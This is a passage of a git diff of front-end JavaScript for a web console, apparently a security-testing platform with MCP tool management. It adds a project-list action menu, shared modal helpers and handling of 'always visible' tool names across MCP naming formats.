|
||||||
|
if (editText) editText.textContent = tp('projects.editProject');
|
||||||
|
if (archiveText) {
|
||||||
|
archiveText.textContent = p.status === 'archived'
|
||||||
|
? tp('projects.restoreProjectActive')
|
||||||
|
: tp('projects.archiveProject');
|
||||||
|
}
|
||||||
|
if (deleteText) deleteText.textContent = tp('projects.deleteProject');
|
||||||
|
positionProjectListActionMenu(event);
|
||||||
|
}
|
||||||
|
|
||||||
|
function initProjectListActionMenu() {
|
||||||
|
if (_projectListMenuDocClickBound) return;
|
||||||
|
_projectListMenuDocClickBound = true;
|
||||||
|
document.addEventListener('click', (event) => {
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu || menu.style.display === 'none') return;
|
||||||
|
if (menu.contains(event.target)) return;
|
||||||
|
if (event.target.closest('.projects-list-item-menu')) return;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
});
|
||||||
|
document.addEventListener('keydown', (event) => {
|
||||||
|
if (event.key === 'Escape') closeProjectListActionMenu();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function toggleProjectArchiveById(projectId) {
|
||||||
|
const p = findProjectById(projectId);
|
||||||
|
if (!p) return;
|
||||||
|
const cur = p.status || 'active';
|
||||||
const next = cur === 'archived' ? 'active' : 'archived';
|
const next = cur === 'archived' ? 'active' : 'archived';
|
||||||
if (!confirm(next === 'archived' ? tp('projects.confirmArchiveProject') : tp('projects.confirmRestoreProjectActive'))) return;
|
if (!confirm(next === 'archived' ? tp('projects.confirmArchiveProject') : tp('projects.confirmRestoreProjectActive'))) return;
|
||||||
const res = await apiFetch(`/api/projects/${currentProjectId}`, {
|
const res = await apiFetch(`/api/projects/${projectId}`, {
|
||||||
method: 'PUT',
|
method: 'PUT',
|
||||||
headers: { 'Content-Type': 'application/json' },
|
headers: { 'Content-Type': 'application/json' },
|
||||||
body: JSON.stringify({ status: next }),
|
body: JSON.stringify({ status: next }),
|
||||||
});
|
});
|
||||||
if (!res.ok) return alert(tp('projects.operationFailed'));
|
if (!res.ok) return alert(tp('projects.operationFailed'));
|
||||||
await loadProjectsList();
|
await loadProjectsList();
|
||||||
await selectProject(currentProjectId);
|
if (currentProjectId === projectId && projectsCache.some((item) => item.id === projectId)) {
|
||||||
|
await selectProject(projectId);
|
||||||
|
} else if (currentProjectId === projectId) {
|
||||||
|
currentProjectId = null;
|
||||||
|
updateProjectsDetailVisibility();
|
||||||
|
if (projectsCache.length) await selectProject(projectsCache[0].id);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function deleteCurrentProject() {
|
async function deleteProjectById(projectId) {
|
||||||
if (!currentProjectId || !confirm(tp('projects.confirmDeleteProject'))) return;
|
if (!projectId || !confirm(tp('projects.confirmDeleteProject'))) return;
|
||||||
const deletedId = currentProjectId;
|
const deletedIndex = projectsCache.findIndex((p) => p.id === projectId);
|
||||||
const deletedIndex = projectsCache.findIndex((p) => p.id === deletedId);
|
const res = await apiFetch(`/api/projects/${projectId}`, { method: 'DELETE' });
|
||||||
const res = await apiFetch(`/api/projects/${deletedId}`, { method: 'DELETE' });
|
|
||||||
if (!res.ok) return alert(tp('projects.deleteFailed'));
|
if (!res.ok) return alert(tp('projects.deleteFailed'));
|
||||||
if (getActiveProjectId() === deletedId) setActiveProjectId('');
|
if (getActiveProjectId() === projectId) setActiveProjectId('');
|
||||||
currentProjectId = null;
|
if (currentProjectId === projectId) currentProjectId = null;
|
||||||
await loadProjectsList();
|
await loadProjectsList();
|
||||||
if (projectsCache.length) {
|
if (projectsCache.length) {
|
||||||
const nextIndex = Math.min(deletedIndex >= 0 ? deletedIndex : 0, projectsCache.length - 1);
|
const nextIndex = Math.min(deletedIndex >= 0 ? deletedIndex : 0, projectsCache.length - 1);
|
||||||
@@ -1320,6 +1463,37 @@ async function deleteCurrentProject() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function toggleProjectArchiveFromListMenu() {
|
||||||
|
const projectId = _projectListMenuTargetId;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
if (!projectId) return;
|
||||||
|
await toggleProjectArchiveById(projectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
function editProjectFromListMenu() {
|
||||||
|
const projectId = _projectListMenuTargetId;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
if (!projectId) return;
|
||||||
|
showEditProjectModal(projectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deleteProjectFromListMenu() {
|
||||||
|
const projectId = _projectListMenuTargetId;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
if (!projectId) return;
|
||||||
|
await deleteProjectById(projectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function archiveCurrentProject() {
|
||||||
|
if (!currentProjectId) return;
|
||||||
|
await toggleProjectArchiveById(currentProjectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deleteCurrentProject() {
|
||||||
|
if (!currentProjectId) return;
|
||||||
|
await deleteProjectById(currentProjectId);
|
||||||
|
}
|
||||||
|
|
||||||
function resetFactModalForm() {
|
function resetFactModalForm() {
|
||||||
window._factModalEditId = null;
|
window._factModalEditId = null;
|
||||||
const keyEl = document.getElementById('fact-modal-key');
|
const keyEl = document.getElementById('fact-modal-key');
|
||||||
@@ -1379,14 +1553,20 @@ function showAddFactModal() {
|
|||||||
|
|
||||||
async function showEditFactModal(factKey) {
|
async function showEditFactModal(factKey) {
|
||||||
if (!currentProjectId) return alert(tp('projects.selectProjectFirst'));
|
if (!currentProjectId) return alert(tp('projects.selectProjectFirst'));
|
||||||
|
resetFactModalForm();
|
||||||
|
openProjectsOverlay('fact-modal', { focus: false });
|
||||||
const res = await apiFetch(
|
const res = await apiFetch(
|
||||||
`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`,
|
`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`,
|
||||||
);
|
);
|
||||||
if (!res.ok) return alert(tp('projects.loadFactFailed'));
|
if (!res.ok) {
|
||||||
|
closeFactModal();
|
||||||
|
return alert(tp('projects.loadFactFailed'));
|
||||||
|
}
|
||||||
const f = await res.json();
|
const f = await res.json();
|
||||||
resetFactModalForm();
|
deferModalContent(() => {
|
||||||
fillFactModalForm(f);
|
fillFactModalForm(f);
|
||||||
openProjectsOverlay('fact-modal');
|
document.getElementById('fact-modal-key')?.focus();
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeFactModal() {
|
function closeFactModal() {
|
||||||
@@ -1713,6 +1893,10 @@ function initChatProjectSelector() {
|
|||||||
const panel = document.getElementById('chat-project-panel');
|
const panel = document.getElementById('chat-project-panel');
|
||||||
if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
|
if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
|
||||||
if (currentProjectId) {
|
if (currentProjectId) {
|
||||||
|
refreshProjectDetailMetaI18n();
|
||||||
|
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
||||||
|
const p = source.find((x) => x.id === currentProjectId);
|
||||||
|
if (p) updateProjectStatusPill(p.status || 'active');
|
||||||
refreshProjectHeaderStats().catch(() => {});
|
refreshProjectHeaderStats().catch(() => {});
|
||||||
switchProjectTab(currentProjectTab || 'facts');
|
switchProjectTab(currentProjectTab || 'facts');
|
||||||
}
|
}
|
||||||
@@ -1730,13 +1914,18 @@ function initChatProjectSelector() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (document.readyState === 'loading') {
|
if (document.readyState === 'loading') {
|
||||||
document.addEventListener('DOMContentLoaded', initChatProjectSelector);
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
|
initChatProjectSelector();
|
||||||
|
initProjectListActionMenu();
|
||||||
|
});
|
||||||
} else {
|
} else {
|
||||||
initChatProjectSelector();
|
initChatProjectSelector();
|
||||||
|
initProjectListActionMenu();
|
||||||
}
|
}
|
||||||
|
|
||||||
window.initProjectsPage = initProjectsPage;
|
window.initProjectsPage = initProjectsPage;
|
||||||
window.showNewProjectModal = showNewProjectModal;
|
window.showNewProjectModal = showNewProjectModal;
|
||||||
|
window.showEditProjectModal = showEditProjectModal;
|
||||||
window.showNewProjectModalFromChat = showNewProjectModalFromChat;
|
window.showNewProjectModalFromChat = showNewProjectModalFromChat;
|
||||||
window.saveProjectModal = saveProjectModal;
|
window.saveProjectModal = saveProjectModal;
|
||||||
window.closeProjectModal = closeProjectModal;
|
window.closeProjectModal = closeProjectModal;
|
||||||
@@ -1751,6 +1940,10 @@ window.closeFactDetailModal = closeFactDetailModal;
|
|||||||
window.saveProjectSettings = saveProjectSettings;
|
window.saveProjectSettings = saveProjectSettings;
|
||||||
window.archiveCurrentProject = archiveCurrentProject;
|
window.archiveCurrentProject = archiveCurrentProject;
|
||||||
window.deleteCurrentProject = deleteCurrentProject;
|
window.deleteCurrentProject = deleteCurrentProject;
|
||||||
|
window.showProjectListActionMenu = showProjectListActionMenu;
|
||||||
|
window.editProjectFromListMenu = editProjectFromListMenu;
|
||||||
|
window.toggleProjectArchiveFromListMenu = toggleProjectArchiveFromListMenu;
|
||||||
|
window.deleteProjectFromListMenu = deleteProjectFromListMenu;
|
||||||
window.refreshChatProjectSelector = refreshChatProjectSelector;
|
window.refreshChatProjectSelector = refreshChatProjectSelector;
|
||||||
window.onChatProjectChange = onChatProjectChange;
|
window.onChatProjectChange = onChatProjectChange;
|
||||||
window.toggleChatProjectPanel = toggleChatProjectPanel;
|
window.toggleChatProjectPanel = toggleChatProjectPanel;
|
||||||
|
|||||||
@@ -1112,7 +1112,7 @@ async function showAddRoleModal() {
|
|||||||
// 确保统计信息正确更新(显示0/108)
|
// 确保统计信息正确更新(显示0/108)
|
||||||
updateRoleToolsStats();
|
updateRoleToolsStats();
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal('role-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑角色
|
// 编辑角色
|
||||||
@@ -1274,15 +1274,16 @@ async function editRole(roleName) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal('role-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭角色模态框
|
// 关闭角色模态框
|
||||||
function closeRoleModal() {
|
function closeRoleModal() {
|
||||||
const modal = document.getElementById('role-modal');
|
closeAppModal('role-modal');
|
||||||
if (modal) {
|
}
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
function closeRoleSelectModal() {
|
||||||
|
closeAppModal('role-select-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取所有选中的工具(包括未在MCP管理中启用的工具)
|
// 获取所有选中的工具(包括未在MCP管理中启用的工具)
|
||||||
@@ -1634,6 +1635,7 @@ if (typeof window !== 'undefined') {
|
|||||||
window.getCurrentRole = getCurrentRole;
|
window.getCurrentRole = getCurrentRole;
|
||||||
window.toggleRoleSelectionPanel = toggleRoleSelectionPanel;
|
window.toggleRoleSelectionPanel = toggleRoleSelectionPanel;
|
||||||
window.closeRoleSelectionPanel = closeRoleSelectionPanel;
|
window.closeRoleSelectionPanel = closeRoleSelectionPanel;
|
||||||
|
window.closeRoleSelectModal = closeRoleSelectModal;
|
||||||
window.filterRoleToolsByStatus = filterRoleToolsByStatus;
|
window.filterRoleToolsByStatus = filterRoleToolsByStatus;
|
||||||
window.currentSelectedRole = getCurrentRole();
|
window.currentSelectedRole = getCurrentRole();
|
||||||
|
|
||||||
|
|||||||
+19
-11
@@ -315,6 +315,9 @@ function showSubmenuPopup(navItem, menuId) {
|
|||||||
async function initPage(pageId) {
|
async function initPage(pageId) {
|
||||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
|
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
|
||||||
if (window.i18nReady) await window.i18nReady;
|
if (window.i18nReady) await window.i18nReady;
|
||||||
|
if (typeof stopExternalMcpPoll === 'function') {
|
||||||
|
stopExternalMcpPoll();
|
||||||
|
}
|
||||||
switch(pageId) {
|
switch(pageId) {
|
||||||
case 'dashboard':
|
case 'dashboard':
|
||||||
if (typeof refreshDashboard === 'function') {
|
if (typeof refreshDashboard === 'function') {
|
||||||
@@ -372,21 +375,26 @@ async function initPage(pageId) {
|
|||||||
}, 100);
|
}, 100);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
// 先拉取全局配置,确保 tool_search 常驻状态按后端生效集合展示
|
const afterMcpConfigReady = () => {
|
||||||
|
startLoadMcpTools();
|
||||||
|
if (typeof loadExternalMCPs === 'function') {
|
||||||
|
loadExternalMCPs().catch(err => {
|
||||||
|
console.warn('加载外部MCP列表失败:', err);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (typeof startExternalMcpPoll === 'function') {
|
||||||
|
startExternalMcpPoll();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
// 先拉取配置(含 tool_search 常驻列表),再加载工具与外部 MCP
|
||||||
if (typeof loadConfig === 'function') {
|
if (typeof loadConfig === 'function') {
|
||||||
loadConfig(false)
|
loadConfig(false)
|
||||||
.catch(err => {
|
.catch(err => {
|
||||||
console.warn('加载配置失败(将继续加载工具列表):', err);
|
console.warn('加载配置失败(将继续加载 MCP 列表):', err);
|
||||||
})
|
})
|
||||||
.finally(startLoadMcpTools);
|
.finally(afterMcpConfigReady);
|
||||||
} else {
|
} else {
|
||||||
startLoadMcpTools();
|
afterMcpConfigReady();
|
||||||
}
|
|
||||||
// 先加载外部MCP列表(快速),然后加载工具列表
|
|
||||||
if (typeof loadExternalMCPs === 'function') {
|
|
||||||
loadExternalMCPs().catch(err => {
|
|
||||||
console.warn('加载外部MCP列表失败:', err);
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 'projects':
|
case 'projects':
|
||||||
@@ -497,7 +505,7 @@ document.addEventListener('DOMContentLoaded', function() {
|
|||||||
let pageId = hashParts[0];
|
let pageId = hashParts[0];
|
||||||
|
|
||||||
if (pageId === 'c2') pageId = 'c2-listeners';
|
if (pageId === 'c2') pageId = 'c2-listeners';
|
||||||
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
||||||
switchPage(pageId);
|
switchPage(pageId);
|
||||||
if (pageId === 'chat') {
|
if (pageId === 'chat') {
|
||||||
scheduleChatConversationFromHash(200);
|
scheduleChatConversationFromHash(200);
|
||||||
|
|||||||
+500
-95
@@ -16,6 +16,96 @@ function getToolKey(tool) {
|
|||||||
}
|
}
|
||||||
return tool.name;
|
return tool.name;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 常驻工具配置存储键(外部工具用 mcp::tool,与后端 tool_search 白名单一致)
|
||||||
|
function getAlwaysVisibleStorageKey(tool) {
|
||||||
|
return getToolKey(tool);
|
||||||
|
}
|
||||||
|
|
||||||
|
function addAlwaysVisibleAliases(name) {
|
||||||
|
const n = (name || '').trim();
|
||||||
|
if (!n) return;
|
||||||
|
alwaysVisibleToolNames.add(n);
|
||||||
|
if (n.includes('::')) {
|
||||||
|
const sep = n.indexOf('::');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.add(`${mcp}__${tool}`);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (n.includes('__')) {
|
||||||
|
const sep = n.lastIndexOf('__');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.add(`${mcp}::${tool}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function removeAlwaysVisibleAliases(name) {
|
||||||
|
const n = (name || '').trim();
|
||||||
|
if (!n) return;
|
||||||
|
alwaysVisibleToolNames.delete(n);
|
||||||
|
if (n.includes('::')) {
|
||||||
|
const sep = n.indexOf('::');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.delete(`${mcp}__${tool}`);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (n.includes('__')) {
|
||||||
|
const sep = n.lastIndexOf('__');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.delete(`${mcp}::${tool}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function isToolAlwaysVisible(tool) {
|
||||||
|
const key = getAlwaysVisibleStorageKey(tool);
|
||||||
|
if (alwaysVisibleToolNames.has(key)) return true;
|
||||||
|
if (alwaysVisibleToolNames.has(tool.name)) return true;
|
||||||
|
if (tool.is_external && tool.external_mcp) {
|
||||||
|
if (alwaysVisibleToolNames.has(`${tool.external_mcp}__${tool.name}`)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isToolAlwaysVisibleBuiltin(tool) {
|
||||||
|
if (alwaysVisibleBuiltinToolNames.has(tool.name)) return true;
|
||||||
|
return alwaysVisibleBuiltinToolNames.has(getAlwaysVisibleStorageKey(tool));
|
||||||
|
}
|
||||||
|
|
||||||
|
function getAlwaysVisibleForSave() {
|
||||||
|
const out = new Set();
|
||||||
|
for (const name of alwaysVisibleToolNames) {
|
||||||
|
if (alwaysVisibleBuiltinToolNames.has(name)) continue;
|
||||||
|
if (name.includes('::')) {
|
||||||
|
out.add(name);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (name.includes('__')) {
|
||||||
|
const sep = name.lastIndexOf('__');
|
||||||
|
const mcp = name.slice(0, sep);
|
||||||
|
const tool = name.slice(sep + 2);
|
||||||
|
if (mcp && tool) out.add(`${mcp}::${tool}`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
out.add(name);
|
||||||
|
}
|
||||||
|
return Array.from(out);
|
||||||
|
}
|
||||||
|
|
||||||
|
function countUserAlwaysVisibleTools() {
|
||||||
|
return getAlwaysVisibleForSave().length;
|
||||||
|
}
|
||||||
// 从localStorage读取每页显示数量,默认为20
|
// 从localStorage读取每页显示数量,默认为20
|
||||||
const getToolsPageSize = () => {
|
const getToolsPageSize = () => {
|
||||||
const saved = localStorage.getItem('toolsPageSize');
|
const saved = localStorage.getItem('toolsPageSize');
|
||||||
@@ -158,14 +248,21 @@ async function loadConfig(loadTools = true) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
currentConfig = await response.json();
|
currentConfig = await response.json();
|
||||||
const alwaysVisibleList = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
|
||||||
const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
|
const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
|
||||||
alwaysVisibleToolNames = new Set(Array.isArray(alwaysVisibleList) ? alwaysVisibleList.filter(Boolean) : []);
|
const alwaysVisibleEffective = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
||||||
alwaysVisibleBuiltinToolNames = new Set(
|
alwaysVisibleToolNames = new Set();
|
||||||
alwaysVisibleToolNames.size > 0 && Array.isArray(alwaysVisibleConfigured)
|
if (Array.isArray(alwaysVisibleConfigured)) {
|
||||||
? Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleConfigured.includes(name))
|
alwaysVisibleConfigured.filter(Boolean).forEach(addAlwaysVisibleAliases);
|
||||||
: []
|
}
|
||||||
);
|
alwaysVisibleBuiltinToolNames = new Set();
|
||||||
|
if (Array.isArray(alwaysVisibleEffective)) {
|
||||||
|
const configuredSet = new Set(Array.isArray(alwaysVisibleConfigured) ? alwaysVisibleConfigured : []);
|
||||||
|
alwaysVisibleEffective.filter(Boolean).forEach(name => {
|
||||||
|
if (!configuredSet.has(name)) {
|
||||||
|
alwaysVisibleBuiltinToolNames.add(name);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
// 填充OpenAI配置
|
// 填充OpenAI配置
|
||||||
const providerEl = document.getElementById('openai-provider');
|
const providerEl = document.getElementById('openai-provider');
|
||||||
@@ -202,6 +299,7 @@ async function loadConfig(loadTools = true) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fillVisionConfigFromCurrent(currentConfig.vision || {});
|
fillVisionConfigFromCurrent(currentConfig.vision || {});
|
||||||
|
initModelListControls();
|
||||||
|
|
||||||
// 填充FOFA配置
|
// 填充FOFA配置
|
||||||
const fofa = currentConfig.fofa || {};
|
const fofa = currentConfig.fofa || {};
|
||||||
@@ -442,8 +540,11 @@ let toolsSearchKeyword = '';
|
|||||||
// 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
|
// 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
|
||||||
let toolsStatusFilter = '';
|
let toolsStatusFilter = '';
|
||||||
|
|
||||||
|
// 按外部 MCP 来源筛选(点击左侧卡片时设置)
|
||||||
|
let toolsExternalMcpFilter = '';
|
||||||
|
|
||||||
// 加载工具列表(分页)
|
// 加载工具列表(分页)
|
||||||
async function loadToolsList(page = 1, searchKeyword = '') {
|
async function loadToolsList(page = 1, searchKeyword = '', options = {}) {
|
||||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符
|
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符
|
||||||
if (window.i18nReady) await window.i18nReady;
|
if (window.i18nReady) await window.i18nReady;
|
||||||
const toolsList = document.getElementById('tools-list');
|
const toolsList = document.getElementById('tools-list');
|
||||||
@@ -466,6 +567,12 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
|||||||
if (toolsStatusFilter !== '') {
|
if (toolsStatusFilter !== '') {
|
||||||
url += `&enabled=${toolsStatusFilter}`;
|
url += `&enabled=${toolsStatusFilter}`;
|
||||||
}
|
}
|
||||||
|
if (options.refreshExternal) {
|
||||||
|
url += '&refresh_external=true';
|
||||||
|
}
|
||||||
|
if (toolsExternalMcpFilter) {
|
||||||
|
url += `&external_mcp=${encodeURIComponent(toolsExternalMcpFilter)}`;
|
||||||
|
}
|
||||||
|
|
||||||
// 使用较短的超时时间(10秒),避免长时间等待
|
// 使用较短的超时时间(10秒),避免长时间等待
|
||||||
const controller = new AbortController();
|
const controller = new AbortController();
|
||||||
@@ -486,6 +593,7 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
|||||||
page: result.page || page,
|
page: result.page || page,
|
||||||
pageSize: result.page_size || pageSize,
|
pageSize: result.page_size || pageSize,
|
||||||
total: result.total || 0,
|
total: result.total || 0,
|
||||||
|
totalEnabled: result.total_enabled ?? 0,
|
||||||
totalPages: result.total_pages || 1
|
totalPages: result.total_pages || 1
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -504,6 +612,8 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
|||||||
|
|
||||||
renderToolsList();
|
renderToolsList();
|
||||||
renderToolsPagination();
|
renderToolsPagination();
|
||||||
|
renderExternalMcpFilterChip();
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('加载工具列表失败:', error);
|
console.error('加载工具列表失败:', error);
|
||||||
if (toolsList) {
|
if (toolsList) {
|
||||||
@@ -622,8 +732,8 @@ function renderToolsList() {
|
|||||||
is_external: tool.is_external || false,
|
is_external: tool.is_external || false,
|
||||||
external_mcp: tool.external_mcp || ''
|
external_mcp: tool.external_mcp || ''
|
||||||
};
|
};
|
||||||
const alwaysVisibleChecked = alwaysVisibleToolNames.has(tool.name);
|
const alwaysVisibleChecked = isToolAlwaysVisible(tool);
|
||||||
const alwaysVisibleLocked = alwaysVisibleBuiltinToolNames.has(tool.name);
|
const alwaysVisibleLocked = isToolAlwaysVisibleBuiltin(tool);
|
||||||
|
|
||||||
// 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片)
|
// 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片)
|
||||||
let externalBadge = '';
|
let externalBadge = '';
|
||||||
@@ -648,7 +758,7 @@ function renderToolsList() {
|
|||||||
${escapeHtml(tool.name)}
|
${escapeHtml(tool.name)}
|
||||||
${externalBadge}
|
${externalBadge}
|
||||||
<label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
|
<label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
|
||||||
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(tool.name)}', this.checked)" />
|
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(toolKey)}', this.checked)" />
|
||||||
<span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
|
<span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
|
||||||
</label>
|
</label>
|
||||||
${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
|
${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
|
||||||
@@ -763,8 +873,7 @@ function scrollToExternalMCP(mcpName, event) {
|
|||||||
event.stopPropagation();
|
event.stopPropagation();
|
||||||
const items = document.querySelectorAll('.external-mcp-item');
|
const items = document.querySelectorAll('.external-mcp-item');
|
||||||
for (const item of items) {
|
for (const item of items) {
|
||||||
const h4 = item.querySelector('h4');
|
if (item.dataset.mcpName === mcpName) {
|
||||||
if (h4 && h4.textContent.includes(mcpName)) {
|
|
||||||
item.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
item.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||||
item.classList.add('highlight');
|
item.classList.add('highlight');
|
||||||
setTimeout(() => item.classList.remove('highlight'), 2000);
|
setTimeout(() => item.classList.remove('highlight'), 2000);
|
||||||
@@ -773,6 +882,94 @@ function scrollToExternalMCP(mcpName, event) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 点击左侧外部 MCP 卡片,筛选并定位右侧工具列表
|
||||||
|
async function scrollToExternalMCPTools(mcpName, event) {
|
||||||
|
if (event) {
|
||||||
|
if (event.target.closest('.external-mcp-item-actions, button, a, input, label')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
event.stopPropagation();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (toolsExternalMcpFilter === mcpName) {
|
||||||
|
await clearExternalMcpFilter();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
toolsExternalMcpFilter = mcpName;
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
|
renderExternalMcpFilterChip();
|
||||||
|
await loadToolsList(1, toolsSearchKeyword);
|
||||||
|
|
||||||
|
requestAnimationFrame(() => {
|
||||||
|
highlightExternalMcpTools(mcpName);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function highlightExternalMcpTools(mcpName) {
|
||||||
|
const toolsList = document.querySelector('.mcp-tools-panel .tools-list');
|
||||||
|
if (toolsList) {
|
||||||
|
toolsList.scrollTop = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
document.querySelectorAll('#tools-list .tool-item.highlight').forEach(el => {
|
||||||
|
el.classList.remove('highlight');
|
||||||
|
});
|
||||||
|
|
||||||
|
const selector = `#tools-list .tool-item[data-external-mcp="${CSS.escape(mcpName)}"]`;
|
||||||
|
const matchingTools = document.querySelectorAll(selector);
|
||||||
|
if (matchingTools.length === 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
matchingTools[0].scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||||
|
matchingTools.forEach(el => {
|
||||||
|
el.classList.add('highlight');
|
||||||
|
setTimeout(() => el.classList.remove('highlight'), 2000);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function clearExternalMcpFilter() {
|
||||||
|
toolsExternalMcpFilter = '';
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
